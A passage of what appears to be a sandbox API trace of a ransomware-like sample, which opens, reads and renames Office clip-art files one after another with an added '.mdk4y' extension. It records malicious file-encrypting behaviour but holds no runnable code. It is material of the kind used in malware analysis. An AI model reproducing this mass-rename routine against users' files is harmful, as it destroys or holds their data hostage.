cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099177.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.558] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821878800000) returned 1 [0143.558] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x150a, lpOverlapped=0x0) returned 1 [0143.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821889200000) returned 1 [0143.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821889200000) returned 1 [0143.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.mdk4y")) returned 1 [0143.663] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.663] AreFileApisANSI () returned 1 [0143.663] GetACP () returned 0x4e4 [0143.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099178.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099178.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.663] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821889400000) returned 1 [0143.664] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe16, lpOverlapped=0x0) returned 1 [0143.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821889500000) returned 1 [0143.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821889500000) returned 1 [0143.665] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.mdk4y")) returned 1 [0143.666] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.666] AreFileApisANSI () returned 1 [0143.666] GetACP () returned 0x4e4 [0143.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099179.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099179.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.666] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821889600000) returned 1 [0143.666] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23c2, lpOverlapped=0x0) returned 1 [0143.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821896700000) returned 1 [0143.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821896700000) returned 1 [0143.737] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.mdk4y")) returned 1 [0143.738] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.738] AreFileApisANSI () returned 1 [0143.738] GetACP () returned 0x4e4 [0143.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099180.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099180.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.738] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821896900000) returned 1 [0143.739] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd42, lpOverlapped=0x0) returned 1 [0143.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821903500000) returned 1 [0143.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821903500000) returned 1 [0143.806] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.mdk4y")) returned 1 [0143.807] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.807] AreFileApisANSI () returned 1 [0143.807] GetACP () returned 0x4e4 [0143.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099181.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099181.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.807] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821903800000) returned 1 [0143.808] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ae, lpOverlapped=0x0) returned 1 [0143.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821906100000) returned 1 [0143.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821906100000) returned 1 [0143.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.mdk4y")) returned 1 [0143.832] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.832] AreFileApisANSI () returned 1 [0143.832] GetACP () returned 0x4e4 [0143.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099182.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099182.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.832] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821906300000) returned 1 [0143.833] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf00, lpOverlapped=0x0) returned 1 [0143.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821919200000) returned 1 [0143.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821919200000) returned 1 [0143.962] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.mdk4y")) returned 1 [0143.963] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.963] AreFileApisANSI () returned 1 [0143.963] GetACP () returned 0x4e4 [0143.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099183.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099183.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.963] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821919400000) returned 1 [0143.964] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1352, lpOverlapped=0x0) returned 1 [0143.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821921600000) returned 1 [0143.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821921600000) returned 1 [0143.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.mdk4y")) returned 1 [0143.987] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.988] AreFileApisANSI () returned 1 [0143.988] GetACP () returned 0x4e4 [0143.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099184.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099184.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821921800000) returned 1 [0143.988] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1016, lpOverlapped=0x0) returned 1 [0144.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821928900000) returned 1 [0144.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821928900000) returned 1 [0144.060] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.mdk4y")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.060] AreFileApisANSI () returned 1 [0144.060] GetACP () returned 0x4e4 [0144.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099185.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099185.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0144.061] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821929200000) returned 1 [0144.062] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd2, lpOverlapped=0x0) returned 1 [0144.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936000000) returned 1 [0144.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936000000) returned 1 [0144.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.mdk4y")) returned 1 [0144.131] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.131] AreFileApisANSI () returned 1 [0144.131] GetACP () returned 0x4e4 [0144.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099186.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099186.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0144.132] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936200000) returned 1 [0144.132] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4162, lpOverlapped=0x0) returned 1 [0144.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936300000) returned 1 [0144.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936300000) returned 1 [0144.134] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.mdk4y")) returned 1 [0144.134] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.134] AreFileApisANSI () returned 1 [0144.134] GetACP () returned 0x4e4 [0144.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099187.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099187.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0144.134] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936400000) returned 1 [0144.135] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5fd0, lpOverlapped=0x0) returned 1 [0144.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936600000) returned 1 [0144.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936600000) returned 1 [0144.136] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.mdk4y")) returned 1 [0144.136] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.136] AreFileApisANSI () returned 1 [0144.137] GetACP () returned 0x4e4 [0144.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099188.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099188.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0144.137] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821936700000) returned 1 [0144.137] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2378, lpOverlapped=0x0) returned 1 [0144.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821947400000) returned 1 [0144.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821947500000) returned 1 [0144.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.mdk4y")) returned 1 [0144.246] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.246] AreFileApisANSI () returned 1 [0144.246] GetACP () returned 0x4e4 [0144.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099189.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099189.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0144.246] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821947700000) returned 1 [0144.247] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f8c, lpOverlapped=0x0) returned 1 [0144.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821964700000) returned 1 [0144.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821964700000) returned 1 [0144.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.mdk4y")) returned 1 [0144.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.418] AreFileApisANSI () returned 1 [0144.418] GetACP () returned 0x4e4 [0144.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099190.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099190.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0144.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821964900000) returned 1 [0144.419] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xab74, lpOverlapped=0x0) returned 1 [0144.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821971300000) returned 1 [0144.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821971300000) returned 1 [0144.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.mdk4y")) returned 1 [0144.485] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.485] AreFileApisANSI () returned 1 [0144.485] GetACP () returned 0x4e4 [0144.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099191.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099191.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0144.485] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.485] 